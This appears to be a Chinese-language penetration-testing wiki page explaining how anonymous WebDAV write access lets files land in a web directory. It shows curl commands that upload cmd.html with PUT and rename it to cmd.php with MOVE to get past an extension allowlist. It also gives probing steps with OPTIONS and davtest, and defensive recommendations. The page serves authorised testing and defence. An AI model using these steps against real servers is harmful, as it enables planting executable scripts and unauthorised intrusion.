跳到主要内容

WebDAV 匿名上传与扩展名绕过

WebDAV 在 lighttpd/Apache/IIS 等服务上开放匿名写权限时,可以直接向 Web 目录落文件。即使 PUT 被扩展名白名单限制,MOVE/COPY 的扩展名限制往往独立于 PUT:先传合法扩展名,再改名即可绕过。

仅限授权环境

向目标上传测试文件仅在授权测试或靶场环境进行,测试后应清理。


判断前提:方法探测

curl -X OPTIONS -i http://<target>/path

观察 Allow: 头是否包含 PUTMOVEMKCOLCOPY。常见载体:

服务说明
lighttpd常见 WebDAV 部署
Apachemod_dav 开放时
IISWindows 环境常见

能力验证

davtest -url http://<target>/path

davtest 会自动测试各扩展名的上传与执行情况,输出哪些扩展名可以上传、哪些能被服务端解析执行。


方法:PUT + MOVE 两步绕过

PUT 仅允许 .html 时分两步走。

第一步,以合法扩展名上传:

curl -T cmd.html http://<target>/path/cmd.html

第二步,用 MOVE 改名为可执行扩展名:

curl -X MOVE -H "Destination: http://<target>/path/cmd.php" http://<target>/path/cmd.html

MOVE/COPY 的扩展名限制常独立于 PUT,这正是两步走能绕过的原因。事后若能读取服务配置(如 lighttpd.conf),可确认限制挂在哪个方法上,便于在同类环境复用结论。


复核要点

  • Allow: 头与 davtest 结果交叉验证,不要只信其一。
  • MOVE 的 Destination 必须是完整绝对 URL。
  • 上传成功但未执行时,回到服务配置确认脚本执行映射。

防御建议

  1. 禁用不必要的 WebDAV 方法,最小化 Allow 列表。
  2. 上传目录禁止脚本执行。
  3. PUT 与 MOVE/COPY 使用一致的扩展名白名单。
  4. 匿名写权限默认关闭,写操作纳入审计。

相关知识